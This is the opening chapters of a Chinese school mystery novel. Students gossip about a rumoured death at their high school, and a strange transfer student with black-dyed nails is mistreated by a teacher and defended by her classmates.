《兼职女巫返校季》
1. 第 1 章
金城高中死人了。
犹如一颗石子投入湖心,高中生们平淡无波的生活掀起滔天巨浪。
在无数书本和试卷堆成的课桌之间,总会有学习之外的余裕。学生们通常将其投入于临时睡眠、零食享用以及——八卦闲聊。在任课老师来不及布置作业的上午,这样的课间显得格外难能可贵。
几个脑袋凑在一起,嘀嘀咕咕地说起被班主任勒令不许再提的“禁忌”。
教室后排靠窗,有个男生抬起头,小心地环视一周,方才伸手骚扰骚扰同桌,敲敲前后狐朋狗友的肩膀,示意他们凑过来听。
“你们听说没?有人死了。”
八卦开讲,前后茫然的目光都向他集中了。几双困倦迟钝的死鱼眼流露出如出一辙的迷惑。
唯独同桌正在奋笔疾书,试图在上课铃敲响之前弥补昨日未竟的欠债,不感兴趣地说:“这个世界上有哪天不死人的。”
闻听此言,男生没有气馁,低声说:“这回不一样。死的那个是我们学校的。”
此话一出,前桌女生打了个激灵。
“哈?”
“你没在开玩笑吧……”
有一搭没一搭地回话的同桌也登时一愣,半眯着的困倦眼睛霎时间睁大了——他暂时搁置了死线将至的作业,不可置信地转过头,将信将疑地望着一脸讳莫如深的叙述者,深吸了一口气。
“真的假的?什么时候的事儿?我咋没听说过?”
有人登时反应过来,慢半拍地问:“班主任早读前说的不要乱传些‘有的没的’,就是指学校死了人的事儿?搞这么隐晦,我还以为是说地理老师谈恋爱的事儿——”
“都缓缓。你们一口气问这么多问题,我怎么答啊?”男生没好气地道。
课间十分钟休息时间,被拖堂和提前上课不着痕迹地压榨了两轮,剩下的时间寥寥。休息时间短得人只够胡乱塞几口零食,把隔夜没写完的作业交换着互帮互助一番,填几个ABCD,来不及以零点五倍速没有开视频会员的速度听完一场波澜壮阔的故事。
见他还没说到重点,前桌女生抱住了好友的胳膊,忍不住催促道:“刘瑞平,能不能别卖关子了?”
如果听不完这件事的始末,上课后的四十五分钟里会像是有针在扎她,亦或者是校园里神出鬼没的橘猫在她即将以迅雷不及掩耳之势冲向食堂时伸出尾巴扫她小腿求摸,令她无比难受。
周围的视线透着相似的谴责。
“别急别急,我这就讲。”
“就在几个星期前,周日下午放半天假,住宿的走读的隔壁学校偷偷混进来找对象的……总之,学校里走了一大半人,教室基本都空了。”刘瑞平开始铺垫前情提要。
“刘瑞平,我这儿有一个沙包大的拳头。”身高一米八的同桌举起了手。
刘瑞平暂时不太想挨拳头。
他摸了摸鼻子,见好就收,悻悻道:“别心急嘛罗吉,马上就讲到重点了!只有高三教室里,留了几个人自习。”
刘瑞平压低了嗓音,声音突然变得沙哑而低沉,“就在这时候,寂静的艺术楼,毫无征兆地爆发出‘砰’的一声巨响……!似乎有什么东西沉重地,砸在了地上。”
“那件事情,就这样发生了。桀桀桀桀……”刻意而为的尖锐笑声突兀响起。
吴羽捂住嘴,冷不丁被吓了一跳,手中的笔“咕咚”一声落在桌上,又滚落至地面。
罗吉闻言淡淡道:“故弄玄虚。”
空有氛围营造,实际上也没说到点子上。
吴羽啪地一下拍了下刘瑞平的胳膊,搓搓手臂上冒出来的鸡皮疙瘩:“要死啊你!有话就说,装什么相?”
话虽如此,她终究因为几番鼓动和长久的铺垫生出些微弱的兴趣。这下笔也无心捡了,只压低声音问:“高三有人……自杀了?”
“不,不是。”刘瑞平摇了摇头。
他迎着众人的目光,示意他们凑近。
一、二、三……一共四个脑袋靠了过来,如出一辙的漆黑发顶凑在一处,紧张又安静地分享一个不为人知的秘密。
浮动的草本植物香气中,刘瑞平悄声道:“那个学生是被别人推下楼的。”
“吓——”
有人倒吸一口凉气。
吴羽:“谁干的?被警察抓起来了吗?”
同桌抱着她的胳膊点头附和:“我可不想和杀人犯在一个学校读书……”
刘瑞平摊了摊手,“这我就不知道了。”
“说到底,你这也不过是道听途说,没拿出什么证据啊。”罗吉摇了摇头。
他看出了兄弟内心的不安,宽慰道:“说不定也只是别人闲着没事干乱传的。老刘,你是不是被吓到了?”
刘瑞平一贯吊儿郎当没个正形,可想起那日的记忆,竟无论如何挤不出一张笑脸。到底是目睹凶案,他心里发毛,然而左等右等没在学校看见过警察来访,只有流传在年级里很快被抹平的风言风语,心里一阵悚然。
“不……不
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是。”
他习惯了和朋友分享日常生活中的一切见闻,此刻也就不隐瞒了。
刘瑞平情不自禁地咽了口唾沫,说:“真的有东西掉下去了,罗吉……是我亲眼看到的。”
“‘东西’?”一道纤细的嗓音插了进来。
吴羽被提醒到了,也说:“你能确定你看到的是人吗?说不定掉下去的只是什么放在阳台上的杂物。毕竟如果真的有人坠楼,学校和警察怎么会坐视不管呢?”
“不,不是的!一定是人!”刘瑞平情绪激动地打断。
隐藏在戏谑玩笑下的真实情绪在此刻显露,刘瑞平一改嬉皮笑脸的样子,有些阴沉地说:“我虽然没有看清楚,但是当时……当时我听到了一个女生的尖叫。就是从艺术楼那边传来的。”
大家安静下来。
事情的发展听上去已经很不对劲了。超过了同学间八卦闲谈的范畴,不免让人陷入不安。
率先出声的是罗吉,他推了推夹在鼻梁上的眼镜,说道:“这件事以后别再提了。天知地知我们四个知,也别往外传了。刘瑞平,这件事情本质上和你也没什么关系,说出去指不定就有什么麻烦缠上来,甩都甩不掉。而且我们和寇准那种人不一样——对我们来说,现在最重要的事情是高考。”
吴羽登时呆了呆。
他这样给事情定了性,勒令他们从今往后守口如瓶,她心里却有不同意见:“罗吉,你这话说的有点太冷漠了吧?”
罗吉反击道:“我难道说错了吗?我们四个高中生,又不是名侦探柯南,还要凑起来在月考前破个案?”
“你现在一副热爱学习的样子了?这么关心月考也没见你考去A班啊!”吴羽转头寻找同盟,眼神径直略过了六神无主的刘瑞平,转向了她的同桌,“芊芊,你说是不是?”
陈芊没说话。
像是被戳中了痛处,罗吉整张脸都涨红了起来:“吴羽!”
“那个……你们有没有发现。”不声不响的陈芊环抱着吴羽的胳膊,她连眼珠也不敢转,只慢慢低下头去,声音有点儿发颤,“我从刚才就想说了,这里……这里怎么有……”
“五个人?”
所有人僵住了。
不知道过了多久。
多出来的那个家伙终于意识到他们正在讨论的主角变成了她。顶着四张惊恐程度大同小异的脸,她面不改色地冲着他们打了声招呼:“嗨,你们好。”
纪之水体贴地说:“你们可以继续,就当我不存在。”
2. 第 2 章
“这种情况怎么可能把你当成不存在啊!”陈芊崩溃地压低声音喊。
她用惊恐的眼神打量着眼前这个阴森森的女孩:一头绝对会被教导主任抓走训话的黑长直居然就这样大大咧咧地散在脑后,没有规矩地用皮筋扎成马尾,是等着被不定时出现在走廊巡查的教务处老师抓么?
——不,这不是重点。
女生有着对比普通人来说显得过于白皙的肌肤,小小的一张脸上是大而精致的五官,客观来说,她的长相称得上美。然而此情此景,却没人能够欣赏这份美丽。一双漆黑的眼睛沉沉地望着他们,明明嘴角在笑,脸上却没有什么笑意。
陈芊从小就比旁人更加敏感一些,如今同眼前之人对视,竟生出一种错觉:长久注视她双眼的人,连灵魂都好像会被吸进去。
纪之水冲她歪了歪脑袋,“为什么不可以?我会保持安静的,不会打扰你们。”
是因为这种原因吗!
陈芊慌忙别开眼,整张脸都涨红了。
谁也不知道她是什么时候搬着板凳自然而然地融入他们中间的。
吴羽和罗吉的争执早停了,两人沉默对望了一眼,对视中仿佛连眼神都吵了八百个来回:
——叫你事不关己高高挂起,小心被鬼听见了找你来索命。
——睁开眼仔细看看,是人是鬼你都分不清?
吴羽伸手把陈芊拦在身后,胳膊被抱得紧紧的。
她一边安抚同桌,一边鼓起勇气观察。
纪之水身上套了一件略显宽大的金城高中校服,冲着他们露出一个弧度微小的笑。她似乎想要极力地表现出一点儿友好,无奈和自己的脸部肌肉不太熟悉,这个笑容怎么看都透着瘆人意味。
时值冬天,教导主任仍然不近人情地要求所有学生把校服套在外面,走廊上放眼望去全是塞得鼓鼓囊囊的法式小面包。为了塞进保暖的羽绒服和厚衣服,大一码的校服几乎成了所有学生的标配。
虽然眼前这家伙很诡异,但确实是人无疑,穿着打扮也符合季节。
短暂的惊惧过后,理智开始回笼。
吴羽眯了眯眼,不着痕迹地往地上一看:当真是人不是鬼,脚老老实实地在地上踩着呢。
她想起那些恐怖小说里的形容,什么鬼没有脚啦,后脚跟不落地啦……通通对不上,顶多是这个不请自来的女同学看起来气质阴沉了一些。
以及,性格奇怪了一些。
“你谁啊?”想到这儿,吴羽不客气地发问,“我们讲话你在这儿偷听,有点不礼貌了吧?”
“不好意思。”纪之水道。
“我一开始和你们说话,也没人理,就……”
如果只是误会一场那确实也还好。是他们太专注于事件本身,才忽略了她的搭话,想来也还算合理。
陈芊放下悬着的心,以及吴羽差点被勒到血液不循环的胳膊,小声抱怨道:“那你也不能这样吓我们一跳嘛同学。”
刘瑞平回忆了片刻,“好像是有这么回事。”
“还是不对啊!”他差点被纪之水的话带了进去,反应过来后更加崩溃了,“你这家伙到底是谁啊!怎么在我们班?我从来没见过你!”
他从来、从来没有在学校里见过这个家伙!
话音刚落,才刚打消疑虑的三人通通转头看向了刘瑞平,而后又缓慢将目光转向纪之水,眼神在在场的所有人中间不断乱飞。
刘瑞平这样的角色在哪个学校都必不可少,能在一个年级几百个人里脱颖而出全靠个人魅力。
这类人通常长相平平无奇,学习成绩不上不下,靠着一张舌灿莲花的嘴和能够同任何一个人自然搭话的自来熟属性,把整个年级的人都认得七七八八,消息渠道的丰富程度甚至远超教导处和年级办公室,每每第一个得知放假消息和学校大小活动安排。
刘瑞平说对她没印象,可想而知有多么离奇。
众人神情各异,纪之水的目光缓缓从四人脸上爬过,将每个人的表情尽收眼底。
几人在靠走廊一侧的倒数两排围成一个不太规则的圈,又一阵令人难捱的沉默之中,耳边是整个班级的喧嚣吵闹。挂在教室最后的时钟款式老而□□,时间走过就会留下刻板的滴答声,陈芊感到一阵呼吸困难——
不知道从什么时候开始,她竟无意识屏住了呼吸,直到现在才反应过来。
“我叫纪之水,是新转来金城高中的转校生。”纪之水做了简单的自我介绍。
“我在高三A班,就在你们班楼上。”她观察着每个人的表情,瞧见吴羽视线微动,余光瞥向了罗吉的方向。
所以是不小心走错班了么?
罗吉脸上浮现出怀疑的神色:“都高三了,你怎么这个时候转学?”
“家里人工作变动嘛。”
唠起家常,眼前看上去有些阴沉的女孩多了些人味。听她对答如流,陈芊却愈发不安,感觉她的回答熟练标准得像是排练过很多次,有种刻意感。
就在这时候,旁边的窗户被人轻轻敲了两下,整个教室的音浪随之一收。
刘瑞平如同惊弓之鸟一般飞速望去,出现在玻璃后的不是随时从后门、楼梯口随机刷新出的班主任贴脸图,而是一张很有记忆点的帅脸。
在所有人都因为高三的学业压力灰头土脸死气沉沉的时刻,有个人却天天光鲜亮丽精力充沛的,羡慕之余,偶尔会让人觉得牙痒。
——顾、天、倾。
刘瑞平一字一顿,在心里喊出了那个人的名字。要灰头土脸就一起灰头土脸啊!
凭什么上一样的高中吃一样的苦有人却好像天天过的很幸福一样!太没有同学爱了吧!
早读课第一节结束,外面天都还没亮,教室开着灯。
刘瑞平在玻璃倒影上看见了自己的倒影:脸色灰白,嘴唇干裂,黑色框架眼镜重重压在鼻梁上,也遮不住眼眶下仿若刺青一般鲜明的黑眼圈。
旁边那张脸却像是从少女漫里走出来的,阳光开朗得让人觉得刺眼。
两人的面孔同时出现在一面玻璃里,对比鲜明得连刘瑞平自己都不忍卒看。刘瑞平忍气吞声,一把拉开了半扇窗户。
他没好气地问:“找谁?”
顾天倾笑眯眯地说:“你们好!我来接纪同学回班。”
说罢,那道仿佛浸染了晨曦暖意的眼神就落在了纪之水身上。
纪之水像是被这道目光烫了一下,浑身的防御机制都被唤醒,警惕地抬眼瞪视着顾天倾。她嘴唇动了动,既想质问他为什么会找到这里,又觉得哪怕问了也得不到结果,冷淡地转开脸。
“和你们聊天很高兴。”纪之水站起身,客气地说,“我之后再来找你们。”
陈芊忙不迭喊:“别来了,别来了!”
其余三人虽然没有说话,但都通过坚定的眼神传递了相同的想法。纪之水置若罔闻,把搬来的板凳贴着黑板报下的墙壁复位,拉开门走出了高三(7)班的教室。
纪之水仿佛听到身边传来笑声。
一转头,一张阳光开朗的脸纯良而无辜地望着她,似乎刚才听见的那道笑声只是她的错觉。
顾天倾体贴地说:“马上就要上课了,我们快回去吧,纪同学。”
纪之水有一瞬间怀疑自己听错了。顾天倾这种讨厌的开朗蠢货,会当着她的面嘲笑她吗?
不会。天方夜谭。
她没有太纠结,和顾天倾一前一后,拉开速度把人甩在身后,摆明了不想和他肩并肩。
顾天倾却是没看出来她的想法,提步追了两回,直到第三回被纪之水加速甩开,才慢半拍意识到:“纪同学,你是不想和我一起走吗?”
纪之水说:“没有呀。”
她只是不想看见顾天倾的脸
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。她在心里恶意地补充。
虽然纪之水嘴上没承认,顾天倾还是闻弦歌而知雅意,没有再追上来,乖乖落后了她半个身位,亦步亦趋地跟着她。
即使是顾天倾这种阳光过头的乐天派,也该在一而再再而三地热脸贴冷屁股之后明白她的抗拒和……讨厌。
耳边终于清静了,纪之水得意地扯了下嘴角,冷酷地放下狠话:“以后没事离我远点。不要来找我。”
尤其是她在办正事的时候。
今天这只像在草坪上捡球的金毛狗凑在墙边看她的眼神让纪之水直犯恶心——她又不是一颗荧光黄的网球!
从他视线里消失三分钟都得警惕他来抓人,简直……岂有此理!
临近上课,走廊几乎空了,即便有人也是小跑着匆匆而过。顾天倾的脚步却逐渐慢下来,望着纪之水的背影离他越来越远。
纪之水当然不会停下来等他。明明速度不慢,她的黑发发尾在行走间几乎不动,像一只飘浮的幽灵。
顾天倾像是困惑一般望着她的背影,没懂她的恶感从何而来,道:“我给你造成困扰了吗?纪同学,你毕竟刚转过来,李老师也是怕你适应不了新环境,所以才叫我……”
“都上高中了,还这么听老师话吗?”纪之水猝然停下脚步,忍不住讽刺道。
顾天倾一面走一面讲话,差点撞上纪之水的肩膀。
纪之水皱了皱鼻子,这种走路不看路的单细胞生物笨得会让正常人生出一种无力感。在顾天倾撞上来之前,她眼疾手快地伸出一根手指抵他的胸口,把人戳开。
纪之水从牙关里挤出声音,和虚伪的假笑:“走路要看路啊班长。”
“对不起。”
顾天倾自觉地退了半步,和她拉开距离,动作掀起小小的气流。
传递到纪之水鼻尖的是很清爽的皂香。顾天倾的气味倒是不像他这个人一样,那么叫人讨厌。
“我很抱歉。”如果先前一句道歉是对差点撞上她,那么后者大抵是对于这段时间里顾天倾做的所有事的总和。
包括但不限于带班里的女孩们来和她社交、自作主张地将班里的课代表介绍给她认识、甚至还试图越俎代庖地在一个星期上不了几堂的体育课上给她找到愿意带她玩的小团体——罪行累累,罄竹难书,顾天倾堪称多管闲事的典范。纪之水觉得自己完全值得这一声道歉。
顾天倾似乎觉得她一个人待着很可怜,自说自话地带着他不甚礼貌的热情冲撞起她对陌生人竖起的壁垒。
这令纪之水深觉苦恼。
像顾天倾这种到哪里都呼朋引伴,身边浩浩荡荡围着一大群人的家伙是根本理解不了她独处的自在和快乐的。
纪之水委婉拒绝过几次顾天倾的好意,但收效甚微。顾天倾还是热情地撵着她跑,像撵一只让狗狗喜欢的荧光黄网球。发现这位热心的班长好像听不懂人话,纪之水不可避免的日渐不耐烦起来。
顾天倾好脾气地说:“那我之后都不烦你了。”
你也知道是在烦我啊?纪之水忍不住腹诽。
不过好在,在直白说明后,顾天倾至少愿意改。纪之水刚觉得顾天倾的讨人厌程度下降了三个百分点,又听他好心提醒道:“还有,纪同学,下回不要再走错班了哦。”
再定睛一看他那张英俊而又疏朗的面孔,似乎隐隐带着促狭的笑意。他唇角天生上翘,面貌英俊风流,纪之水盯着他的脸看了半天,愈发看不明晰。
就这样僵持了起码一分钟,顾天倾唇角的弧度隐约下落。
……是在笑吧?
“盯着我做什么?”顾天倾问。
纪之水低声骂了一句,也不知道是在说自己疑心病重,还是骂顾天倾太爱装模作样。
和阳光开朗到近乎愚蠢的人掰扯无用的细节无疑是件蠢事,纪之水兴致缺缺,决定悬崖勒马,扭头就走。
3. 第 3 章
“咳咳。”
一枚纸团借着咳嗽的动作向后抛去,径直落在罗吉桌面。讲台上的老师连眼皮都没抬,兀自在稀稀落落的读书声中思考人生大事。
罗吉收回观察的视线,用手掌盖住纸团,拢到书下,方才缓缓展开纸条。
——是顾天倾来接她的。你们觉得她真是转校生吗?(羽)
——估计是呗。这也没什么好撒谎的。(罗)
罗吉在纸条上写完最后一笔,转手递给了一旁刘瑞平。经过早上这一通闹,刘瑞平已经平静了许多,不再神神叨叨地念叨什么“谋杀”、“报警”,看来是理智回笼了。
刘瑞平提笔在小纸条上书写:
——等大课间我出去打听一下,看看她是什么来路。
他捡了一只红笔,和另外几人的颜色区别开,也就没写落款。小纸条落在陈芊桌上,她思考了一阵,也开始接力。
——她听到了这件事,会不会往外说啊?到时候说不定会找到我们头上...(陈)
——你别太杞人忧天了。我们就说点八卦,又不犯法。(羽to陈)
——罗吉,你之前是高三A班的吧,要不去问问?(羽to罗)
纸团往后传,很长的一段时间里,再也没有传回来。
早读的读书声在检查组的值日学生路过窗口时突然暴涨,讲台前打着瞌睡的老师也一激灵,从椅子上站了起来,严肃的视线扫过班级。吴羽和陈芊直了身体,在立起的课本后对视了一眼。
陈芊看着吴羽在小纸条上落笔的时候就觉得这么问可能不妥。当时没阻止,现在就只能嗫嚅道:“你这又是哪壶不开提哪壶啊。”
非要提起某人的伤心事,和往人心上扎刀子有什么区别……
吴羽讪笑两声,用课本盖住脸。
.
走进教室,纪之水望了一眼悬挂在教室后方的时钟,距离早读开始已经过了几分钟。
教室里没有班主任的身影,A班的读书声却比楼下七班大得多。
她刚一坐下,同桌穆若婷就凑了过来,担心地问:“之水,你上节早读去哪了啊?身体不舒服吗?”
纪之水竖起语文课本挡在脸前,语焉不详地说:“唔……出去逛了逛。”
是的,纪之水一整节早读课都没进过教室。
金城高中没有硬性规定老师要比学生先进班级,但为了升学率,许多高三班主任都会自发地提前到班。之前的很长一段时间里,A班班主任也一直是这么做的。
但根据纪之水近两天的观察总结,辅以同班同学不经意间说出口的八卦秘闻——班主任最近为了处理叛逆期的小孩和同学惹出的麻烦,几乎天天都是踩点上班。她得出了结论:班主任家事缠身,即便迟点到校也合情合理。
纪之水赌班主任不会在第二节早读中段之前进教室,大胆地翘掉了第一节早读课。
她刚刚转学过来没多久,具体情况和人际关系都不明朗,即便早上短暂消失了一会儿,也不会有人觉得奇怪。
也只有穆若婷会在这时候多问一声。
她向来有分寸,即便纪之水语焉不详,也不会刨根问底。
“这样啊,你没有哪里不舒服就好。”穆若婷感叹道,“你这回运气真好,班主任一直没来,只有顾天倾注意到你不在。不过你放心,班长他人还不错,不会把你缺勤的事情告诉老李的。”
就算告诉了也不会怎么样。班主任这几天忙得屁股着火,哪有功夫料理她逃了半节早读课的事儿。
纪之水附和道:“嗯。他人挺好。”
说到这儿,穆若婷突然想起什么,变得愤愤不平起来。
她小发雷霆地翻过了一页书,道:“是啊,你刚转过来,也这么觉得是吧?班长他成天勤勤恳恳兢兢业业,全心全意为人民服务,也不知道是哪个家伙写恐吓信骂他……”
纪之水顿了一下:“恐吓信?”
“噢,你是走读生来着,还不知道这件事吧。”穆若婷恍然,解释道,“就之前体育课,赵藏锋他们几个打篮球回来,看到有人在班长桌面上放了纸条,还以为是情书呢。”
“结果赵藏锋手贱,非要看写的是什么。打开一看……唉,也不知道谁这么恨他,可能是嫉妒吧。”
这情节听起来很熟悉。
纪之水冷不丁问:“顾天倾什么反应?”
“哦。他倒是没放在心上。”穆若婷回忆了一下,说,“他就是那性格,大大咧咧的,也没当回事,笑了笑就把恐吓信收起来了。”
“如果是我的话肯定吓个半死,一想到学校要是有人在背地里那么恨我,我就浑身起鸡皮疙瘩。”穆若婷搓了搓手臂,很是感同身受,戳戳前面人的胳膊,“小甜,你让他们前面把空调跳高一度,好像有点冷。”
小甜没转身,比了个OK的手势,然后拍了拍前座的胳膊,将消息一个接一个向前传递。
纪之水默默地看着眼前的一切。穆若婷冲她笑了笑,示意纪之水凑过来听。
“不过我听赵藏锋说,顾天倾好像知道恐吓信是谁送的。”
“是吗。”纪之水好奇地问,“是谁送的?”
穆若婷遗憾地摊了摊手:“我也想知道啊。可惜,顾天倾不肯说。”
其实是根本不知道吧。纪之水也配合地露出了遗憾的表情。
靠着一件没头没尾的八卦,这成了纪之水和穆若婷说过最多话的一个早读。穆若婷瞥了一眼纪之水手里的语文书,提醒道:“早读课下课前英语老师要来默写,别忘了背单词。”
纪之水道了声谢。
她从垒得高高的、崭新的课本中抽出
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一本蓝色的单词书,黑板上写了背诵范围,页数下用深色粉笔划了两道杠。
距离敲响下课铃还有五分钟,英语老师没有出现。倒计时三分钟,走廊外传来高跟鞋落地的声响,一个女人风风火火地裹着冬日寒风推开了教室门,“背得怎么样了?”
无人回应,她满意地点了点头,像是听到了天外来音:“那就好。把默写本拿出来,今天听写三十个单词。”
……有人说话了吗。
纪之水疑惑地环视四周,周围其他人好像都习以为常。
她不明所以地收回视线,翻开默写本。
本子还很新,只写过两页。她将新的一面折成四折,崭新的折痕深深凹下去。
穆若婷在一旁小声抱怨:“早不来晚不来的,老是专挑快下课的点。之水,你背熟了吗?”
纪之水道:“没有。”
“诶,真的假的啊?”穆若婷诧异地看了她一眼,“你……”
“东西都收下去,不许交头接耳!”英语老师敲了敲讲台。
没办法,硬着头皮默吧。
纪之水一大早在年级里各班巡回,比教导主任还勤快,书是一点没看。临时抱佛脚都有风险,更何况她根本没用心。
“suspect。写出单词的词性,中文解释。”英语老师一面翻着单词书,一面顺口道,“单词也要写啊。昨天就有人空着不写。空着干什么,留给我来帮你填么?”
英语老师报单词的速度飞快。
纪之水半蒙半猜半回忆,填了几个单词,根据发音开始硬拼。
英语老师在过道里徘徊,走过她身边时,带来一股香水甜香。纪之水有一搭没一搭地往默写本上施展仓颉造字的本领,忽然察觉到,那股甜腻的香气似乎在她身边停住了。
纪之水对视线很敏感。她一抬头,正对上英语老师的冰冷的注视。
“手伸出来。”英语老师的声音里压抑着冷然的怒气。
前桌突然一抖,像是吓了一跳,侧了四分之一脸回身偷看。英语老师没注意到他的小动作,因为怒气不是冲着他的。
虽然不清楚缘由,纪之水至少分得清怒火朝向了她。
她依言放下手中的笔,面不改色地摊开双手,掌心向上。
“装什么傻?翻过来!”
纪之水又把两只手翻了个面。白炽灯照着她苍白的手背,还有十枚黑漆漆的指甲盖。
“其他人看什么看?!默你们的单词!”英语老师喝退了周围若有若无的打量,面色发沉地望着纪之水,仿佛她做了什么伤天害理的事。
纪之水低头,却只看见了自己光秃秃的十根手指头,还有被海娜花粉染成黑色的指甲。
“解释。”
“解释什么?”
“你的黑色指甲油。”
4. 第 4 章
人一旦有了心事,总会觉得时间分外难熬。
终于等到打铃,刘瑞平在友人的目送之下冲出教室,鬼鬼祟祟地踏上了向上的楼梯。
楼上就是高三A班,全校老师的心头挚爱都汇集在此地。如果班主任看到他们往楼上跑肯定要盘问再三,上楼前刘瑞平特地前后左右看了一圈,没有老师在,才贴着墙迅速行进。
不知学校里的哪位智者曾经说过:高三A班里坐着的不一定是年级前五十,但年纪前五十肯定都在高三A班走过一圈。堪称天才的校领导或许某天夜里被从天而降的灵感袭击了大脑,想到了一个无比精妙的注意——即高三A班末位淘汰制。
那固定的五十个座位就像是年纪前一百名挤破脑袋都在竞争的出道位。一次月考胜利就能为“出道”添砖加瓦,连续三次蝉联前五十就能跻身班级之列,而失败者只能灰溜溜地提桶离开。
对此,刘瑞平评价:很残酷。堪称没有人性的残酷。
刘瑞平的成绩再怎么上上下下也很稳定,就没摸到过前一百的尾巴,明白凭借他自己的学习成绩是没办法在A班获得一席之地的。
不过他有人脉。
他来得早,整条走廊上都没什么人。刘瑞平粗粗往教室里一扫,寻找自己异父异母的兄弟姐妹们,发现老师还站在班级里。
得,又拖课。
他没敢站在窗户口,冒充隔壁班学生趴在阳台上吹冷风看冬日光秃秃的风景。
教学楼与教学楼的缝隙之中,除了几颗常青树就瞧不见什么绿意了。天还没亮,楼下也瞧不见学生,灯火通明的楼道与楼道之间模糊了白天和夜晚的界限。唯一算得上风景的就是远处连绵的群山,在冬日里依旧如同一副舒展的画卷。
金城多山。
冷风吹得人脑壳疼,刘瑞平往挡风的墙壁后避了避,听得身后大门猛然打开的一声响。
冷风极速灌进敞开的教室门里,与之一同出现的是尖锐的斥骂声:“你还知不知道自己到学校里是来干什么的?成天就知道打扮得花里胡哨的,是想勾.引谁?”
刘瑞平猛然回过头,被一股冷风迷了眼。
那头丝绸般的黑色长直发很少见。也只有转校生不清楚当地情况,会散着头发来上学,乍一看像混进狼群的哈士奇一样显眼。
果不其然,刘瑞平眯起眼一看,早上刚见过的,那个自称“纪之水”的女生被人揪着长发扯出了教室。
怎么是她?
这么扯着头发走不但疼,侮辱性比实际伤害更大。刘瑞平看得直皱眉,背贴紧了身后冰冷的墙壁。
待看清了拽着纪之水的人的正脸,刘瑞平心下更加纳闷:“周英又发哪门子疯?”
他的大脑是一个天然的信息库。周英,两年前入职金城高中,三本学历,在办公室里人缘尚可,学生对她的评价呈现出鲜明的两极分化。周英是英语组资历最浅的老师,同时带三个班,在职时间短但“战绩颇丰”,刘瑞平掰着手指头可以数出和她有关的n条八卦。
都不太正面。
多来自受她“摧残”的学生的吐槽。
不过周英带的三个班里没有他们,比起经常打交道的年级主任和教务处老师,刘瑞平和她并不相熟。
纪之水皱着眉毛,露出吃痛的表情。她没有挣扎,以一种别扭的姿势迁就周英的拉扯,脚步踉跄。
说到底也是有一面之缘的同学。刘瑞平犹豫了。他没必要管闲事,却又没办法说服自己当没看见。
他向前走了一步:“那个,老师……”
“周老师,松手!”
随着一声爆喝,高三A班的教室里,呼啦啦涌出来一堆人。
冲在最前面的女生似乎叫穆若婷,刘瑞平认得她。但凡是走读生,几乎没有人不熟悉穆若婷那张脸,她性格很开朗,朋友也多,冲上去扯周英的手。
“有什么话不能好好说,我同桌什么也没做,周老师你罚她也得有个理由吧!”
从推搡变成扯头发,越来越过分了。穆若婷看不下去,刚冲出教室,发现身后缀着一大堆人。
周英没想到有人会拦她,还是平时被她呼来喝去的学生,脸上有些挂不住了:“穆若婷你怎么回事,要和我动手吗!你也反了天了是不是!”
几个女生一哄而上,趁着周英的注意力在穆若婷身上,不声不响地把纪之水从周英手里“抢”了回来。
纪之水的一截头发还在周英手里,脖子歪着,几个女生的胳膊横在她胸口、前腹,牢牢护着她。
纪之水甚至不知道其中几个人的名字,唯独认得柳天意。
在她这个同桌横空出世之前,柳天意是穆若婷关系最亲近的朋友,两个小女孩无论是吃饭还是体育课都黏在一起。穆若婷这两天对她颇为关照,还引得柳天意大吃飞醋,对她没什么好脸色。
明明前天还冲她翻白眼,现下却是柳天意抱她抱的最紧。趁着人没注意,柳天意偷偷伸手用指甲掐周英的虎口。
“啊——”周英痛叫一声,咬牙切齿道,“谁掐我?!”
没人搭话。
穆若婷更是高举双手以示清白:“周老师你这是哪的话!我可什么都没做,也没有不尊重您,就是想和你讲讲道理!”
“就算我们尊重你,老师你也不能不分青红皂白就随便打人呀!”身后有人搭腔。
头发一被松开,纪之水整个人就飞
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了起来——她被人“抬”进了教室里,由几个女生团团围住。她茫然地望着门口的一堵人墙,刚认识几天的同桌、叫不出名字的同学,此刻都挡在她面前帮她说话。
“还好吗?有没有吓到?”一个女生轻拍着纪之水的肩膀,往教室后看了一眼。
教室里还有几个学生在奋笔疾书,后门半开着,估计是谁走的太急忘了关门。放在平时,不随手关门的人通常会受到一番道德上的谴责,但今天,腿脚不够快没抢着前排的人只能伸长脖子往外张望,活像一只只狐獴。
最后一排基本半空。顾天倾也不见了踪影。
最喜欢凑热闹的家伙怎么会在这时候缺席?
为了宽慰吓得脸色惨白的纪之水,那女生想了想,又小声和她说:“有几个男生看情况不太对,去办公室找班主任了。班长让我们照顾着点你,周老师她……”
说到这儿,女生似乎很无语似的,也不知道怎么形容,只好叹了口气。
有人也跟着蹲在她跟前,接过话头:“周老师她脾气一直不好,之前还和我们班上的人吵架。不过也没闹成今天这样。”
“别害怕啊,虽然周英有点没事找事,不过老李……也就是我们班主任,他还是很讲道理的。”
多贴心。还怕纪之水不知道班主任姓甚名谁,特地提了一句老李是班主任。
柳天意也从人群中脱身,伸手把纪之水的头发揉乱,跟着补充:“哎呀,之前也是的,11班有个女生也被她找茬,都被骂哭了。”
纪之水没哭。她想表示自己也没因为这一通闹剧害怕,却根本插不上话,每个人都觉得她吓得不轻。
终于在一个空档,纪之水迟疑地憋出了一句:“……谢谢?”
“什么?”柳天意没听清。
门口的风被挡的严严实实,教室里的温度在空调的不懈努力下十分宜人。纪之水吸了吸温差巨变赐予的清水鼻涕,坚定了语气:“谢谢你们。”
这回,柳天意听清了。她的脸以肉眼可见的速度涨红了,纪之水差点以为柳天意是对冷空气过敏,直到她看见柳天意偏过头,别别扭扭地哼了一声。
似乎还是没有原谅她。
不过也有很多女孩大大方方地回应了纪之水。
“哈哈,不用谢啦。”
“就是,都是同学嘛。”
“喏,餐巾纸,把鼻子擦擦。”
纪之水接过递来的纸,默默蹲在地上擤鼻涕。
到这里,事情的发展已经和她想象中的完全不一样了。
纪之水有些愕然,更多的是想不通:如果所有同学都是这样友善,那她费尽千辛万苦到金城来,真的还有意义么?
5. 第 5 章
金城高中在本地的风评其实很不错。
办学五十来年,这所规模不大的地方高中出了好几十个清北学子。
在地处偏僻的金城,这怎么也算得上是一个小小的办学奇迹。金城高中的辉煌战绩,更是引得无数本地、乃至周边外地的家长挤破了脑袋把孩子往学校送。
然而,即便有如此耀眼的履历,也改变不了金城高中矮子里拔高个的本质。
金城的教育资源并不算丰富,生活习惯也和纪之水原本居住的地方大不相同。真转学过去,需要面对的问题只多不少。
朋友们对纪之水的转学决定颇为担忧,但给予了感情上的全面肯定和支持。
在纪之水家里举行的小型告别派对上,有女孩这么说:“体验一下截然不同的高中生活。说不定也挺好的。要是受不了,你就回来嘛。”
